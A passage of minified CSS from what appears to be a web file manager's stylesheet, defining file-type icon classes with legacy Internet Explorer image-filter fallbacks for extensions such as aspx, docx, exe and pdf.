\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-djvu{background-image:url("../../../images/file_icon/icon_file/djvu.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dng{background-image:url("../../../images/file_icon/icon_file/dng.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc,.x-wps{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hdr{background-image:url("../../../images/file_icon/icon_file/hdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-pot{background-image:url("../../../images/file_icon/icon_file/pot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');}.x-potx,.x-ppam{background-image:url("../../../images/file_icon/icon_file/potx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none 